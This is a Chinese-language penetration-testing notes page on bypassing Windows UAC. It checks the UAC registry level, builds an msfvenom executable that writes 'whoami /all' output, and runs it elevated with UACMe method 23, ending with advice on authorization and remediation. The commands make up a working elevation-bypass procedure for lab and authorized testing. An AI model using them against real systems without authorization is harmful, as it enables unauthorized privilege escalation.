> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# UAC 绕过

用户帐户控制会限制管理操作的自动提升。只有在当前用户已经具有经过筛选的管理员令牌，或者主机的提升配置较弱时，UAC 绕过才有用。

## 检查 UAC 级别

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

常见值：

| 值   | 含义        |
| --- | --------- |
| `0` | 无 UAC 提示  |
| `1` | 根据上下文静默提升 |
| `2` | 标准提示      |
| `5` | 更严格的提示行为  |

<figure><img src="/files/ebc7f93038508aa3d0c5337dba6ef8dd9f239512" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/667f84410122189b2cd90e363b40a3ddd2064d1f" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## 准备一个实验室验证二进制文件

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## 使用 UACMe 执行

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/cb1477204a1ad42e367c442a6f509bb1b62e7c1e" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## 关键要点

* UAC 绕过并不是真正从标准用户进行的提权。
* 在测试前确认 UAC 级别和令牌上下文。
* 先使用无害的验证操作，仅在获得授权后再切换到限定范围的评估操作。
* 通过严格的 UAC 设置以及避免暴露管理员会话来进行修复。


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